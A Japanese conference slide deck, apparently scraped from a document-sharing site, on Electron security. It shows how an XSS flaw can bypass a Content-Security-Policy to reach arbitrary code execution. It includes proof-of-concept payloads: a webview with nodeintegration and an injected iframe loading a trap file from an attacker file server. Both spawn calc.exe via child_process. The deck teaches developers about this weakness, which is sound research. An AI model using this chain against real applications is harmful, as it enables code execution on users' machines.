• 検索結果がありません。

自 己 紹 介 ( 株 )セキュアスカイ テクノロジー 常 勤 技 術 顧 問 OWASP Kansaiチャプターリーダー OWASP Japanボードメンバー http//utf-8.jp/

N/A
N/A
Protected

Academic year: 2021

シェア "自 己 紹 介 ( 株 )セキュアスカイ テクノロジー 常 勤 技 術 顧 問 OWASP Kansaiチャプターリーダー OWASP Japanボードメンバー http//utf-8.jp/"

Copied!
27
0
0

読み込み中.... (全文を見る)

全文

(1)

Electronのはなし

はせがわようすけ

http://utf-8.jp/

(2)

Shibuya.XSS techtalk #7 #shibuyaxss

自己紹介

はせがわようすけ @hasegawayosuke

(株)セキュアスカイ・テクノロジー

常勤技術顧問

OWASP Kansaiチャプターリーダー

OWASP Japanボードメンバー

http//utf-8.jp/

(3)
(4)

Shibuya.XSS techtalk #7 #shibuyaxss

ブラウザハック

Wade Alcorn、 Christian

Frichot、Michele Orrù著

園田道夫、西村宗晃、はせがわ

ようすけ監修

http://www.shoeisha.co.jp/

(5)

ブラウザハック

(6)

Shibuya.XSS techtalk #7 #shibuyaxss

ブラウザハック

書籍内、日本人で唯一のバイネームな記述

監修者まえがき 「特に原稿が遅いはせがわ ようすけさんにはハラハラさ せられました」 (´Д`;)

(7)

ブラウザハック

書籍内、日本人で唯一のバイネームな記述

監修者まえがき 「特に原稿が遅いはせがわ ようすけさんにはハラハラさ せられました」 v(*'ω'*)v 「2009年に日本のセキュリ ティ研究家のはせがわよう すけが、[],$_+:~{}とその他 わずかの∥のみで JavaScriptコードを…」

(8)
(9)

Electronのセキュリティの話

詳しい話はこのあたりを見てください

(10)

Shibuya.XSS techtalk #7 #shibuyaxss

「Electronの倒し方」

- #html5jplat

(11)

「Electronの倒し方」

- #html5jplat

最後にはせがわ氏は「webviewタグ、webFrameAPIなど今回触 れなかったElectron固有の注意点については、3月28日に開催 するShibuya.XSSで説明する」と語り

(12)
(13)

今日の話題

その1. Electron vs CSP

(14)

その1

(15)

ElectronへのCSPの適用

レンダラにCSPを適用

CSPが指定されてもwebviewタグ内では自由

にスクリプトが実行可能

CSPではXSSの緩和にならない

<meta http-equiv="Content-Security-Policy" content="default-src 'self'">

<webview nodeintegration src="data:text/html, <script> require('child_process') .exec('calc.exe', ()=>{}) </script> "></webview> http://utf-8.jp/public/2016/0307/electron.pdf

(16)

Shibuya.XSS techtalk #7 #shibuyaxss

ElectronへのCSPの適用

webviewタグを使わずどこまで攻撃できるのか

XSSはあるがCSPは適用されている

// main.js app.on('ready', ()=>{

mainWindow = new BrowserWindow({width: 600, height: 400} );

mainWindow.loadUrl( `file://${__dirname}/index.html` );

....

<meta http-equiv="Content-Security-Policy" content="default-src 'self'">

<script src="index.js"></script>

// index.js

(17)

ElectronへのCSPの適用

レンダラ内は同一オリジン以外のリソースは禁止

// index.js

document.querySelector("#msg").innerHTML = xss_source; //XSS!

<meta http-equiv="Content-Security-Policy" content="default-src 'self'">

<script src="index.js"></script>

<script src="http://example.jp/evil.js"></script> … 発火しない

<img src=# onload=alert(1)> … CSPでブロック

<iframe src="http://example.jp/"></iframe> … CSPでブロック

<iframe src="file.html"></iframe>

(18)

Shibuya.XSS techtalk #7 #shibuyaxss

ElectronへのCSPの適用

iframeの埋め込みは可能!

// index.js

document.querySelector("#msg").innerHTML = xss_source; //XSS!

<meta http-equiv="Content-Security-Policy" content="default-src 'self'">

<script src="index.js"></script>

<iframe src="file.html"></iframe>

<!-- file.html内 -->

(19)

ElectronへのCSPの適用

CSPが適用されているがXSSがあるアプリ

src=http://なiframeは埋め込み不可

src=file://なiframeの埋め込みが可能

iframe内のJavaScriptは動作する

CSPが適用された通常どおりの動作

file://なHTML内に悪意のあるコードを埋め込め

ば攻略できるのでは!

(20)

Shibuya.XSS techtalk #7 #shibuyaxss

ElectronへのCSPの適用

file://なHTML内に悪意のあるコードを埋め込め

ば攻略できるのでは!

そもそも「同一オリジン」はどこ?

ディレクトリ関係なく全ファイルが同一オリジン

// main.js app.on('ready', ()=>{

mainWindow = new BrowserWindow({width: 600, height: 400} );

mainWindow.loadUrl( `file://${__dirname}/index.html` );

....

(21)

ElectronへのCSPの適用

file://なHTML内に悪意のあるコードを埋め込め

ば攻略できるのでは!

Electronアプリの外側でもいい。任意のフォルダ。

file://スキームで罠ファイルを用意する方法…

事前に悪意のあるファイルをダウンロードさせる?

→ダウンロード先フォルダを攻撃者は知る必要があ

Electron、他アプリ等でeval(xhr.responseText)

みたいな任意コードできるHTMLがないか探す

→さすがに簡単には見当たらない

(22)

Shibuya.XSS techtalk #7 #shibuyaxss

ElectronへのCSPの適用

file://スキームで罠ファイルを用意する方法

ファイルサーバ(CIFS or WebDAV)を立ち上げて

file://file-server/share/trap.html

みたいなファイルを用意すればいい!

<meta http-equiv="Content-Security-Policy" content="default-src 'self'">

(23)

ElectronへのCSPの適用

罠HTMLファイル内のコード

そのままではnode.jsの機能が使えない

→任意コード実行とまで言えない

nodeを有効にしてwindowを開きなおす

typeof require; // => "undefined"

<script> window.open(`data:text/html, <script> require('child_process').exec('calc.exe',()=>{}) <¥/script>`, "","nodeIntegration=1") </script>

(24)

Shibuya.XSS techtalk #7 #shibuyaxss

ElectronへのCSPの適用:まとめ

CSPでdefault-src 'self'が効いていても任意

フォルダのfile:スキームなコンテンツが読める

ファイルサーバ上のコンテンツも読める

ファイルサーバに罠コンテンツを用意し

<iframe>をインジェクトすることで任意コード実

行が可能

結論:

CSPが指定されていてもXSSがあれば

webviewタグを使わなくても任意コード実行が

可能

(25)
(26)
(27)

質問?

[email protected]

@hasegawayosuke

http://utf-8.jp/

参照

関連したドキュメント

ドライバーの意のままに引き出せるパワー、クリーンで高い燃費効率、そして心ゆくまで楽しめるドライビング。ボルボのパワートレーンは

D-1:イ 自施設に「常勤または非常勤の実地指導

また適切な音量で音が聞 こえる音響設備を常設設 備として備えている なお、常設設備の効果が適 切に得られない場合、クラ

を派遣しており、同任期終了後も継続して技術面での支援等を行う予定である。今年 7 月 30 日~8 月

   がんを体験した人が、京都で共に息し、意 気を持ち、粋(庶民の生活から生まれた美

「欲求とはけっしてある特定のモノへの欲求で はなくて、差異への欲求(社会的な意味への 欲望)であることを認めるなら、完全な満足な どというものは存在しない

411 件の回答がありました。内容別に見ると、 「介護保険制度・介護サービス」につい ての意見が 149 件と最も多く、次いで「在宅介護・介護者」が

私は昨年まで、中学校の体育教諭でバレーボール部の顧問を務めていま